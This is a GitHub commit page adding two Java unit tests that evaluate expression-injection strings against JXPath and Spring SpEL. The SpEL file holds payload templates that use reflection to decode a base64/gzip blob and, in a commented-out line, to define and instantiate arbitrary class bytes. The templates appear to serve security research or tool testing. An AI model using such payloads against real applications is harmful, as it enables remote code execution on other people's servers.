Skip to content

Commit 1fe02f5

Browse files
committed
test: add testground
1 parent 812bf7c commit 1fe02f5

File tree

2 files changed

+35
-0
lines changed

2 files changed

+35
-0
lines changed
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import org.apache.commons.jxpath.JXPathContext;
2+
import org.junit.jupiter.api.Test;
3+
4+
import static org.junit.jupiter.api.Assertions.*;
5+
6+
/**
7+
* @author ReaJason
8+
* @since 2025/9/3
9+
*/
10+
class JXPathServletTest {
11+
12+
@Test
13+
void test(){
14+
String s = "java.lang.reflect.Array.newInstance(java.lang.Class.forName('java.net.URL'), java.lang.Integer.new('1'), java.lang.Integer.new('0'))";
15+
JXPathContext context = JXPathContext.newContext(null);
16+
System.out.println(context.getValue(s));
17+
}
18+
19+
}
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
import org.junit.jupiter.api.Test;
2+
import org.springframework.expression.spel.standard.SpelExpressionParser;
3+
4+
/**
5+
* @author ReaJason
6+
* @since 2025/9/2
7+
*/
8+
class SpELServletTest {
9+
10+
@Test
11+
void test() {
12+
// String data = "#clazz = ''.class.forName('org.springframework.cglib.core.ReflectUtils').getMethod('defineClass', ''.class, ''.class.forName('[B'), ''.class.forName('java.lang.ClassLoader')).invoke(null, '{{className}}', #classBytes, ''.class.forName('java.lang.Thread').getMethod('currentThread').invoke(null).getContextClassLoader()), #clazz.newInstance()";
13+
String data = "''.class.forName('org.springframework.util.StreamUtils').getMethod('copyToByteArray', ''.class.forName('java.io.InputStream')).invoke(null, ''.class.forName('java.util.zip.GZIPInputStream').getConstructor(''.class.forName('java.io.InputStream')).newInstance(''.class.forName('java.io.ByteArrayInputStream').getConstructor(''.class.forName('[B')).newInstance(''.class.forName('org.springframework.util.Base64Utils').getMethod('decodeFromString', ''.class).invoke(null, '{{base64Str}}'))))";
14+
System.out.println(new SpelExpressionParser().parseExpression(data).getValue());
15+
}
16+
}

0 commit comments

Comments
 (0)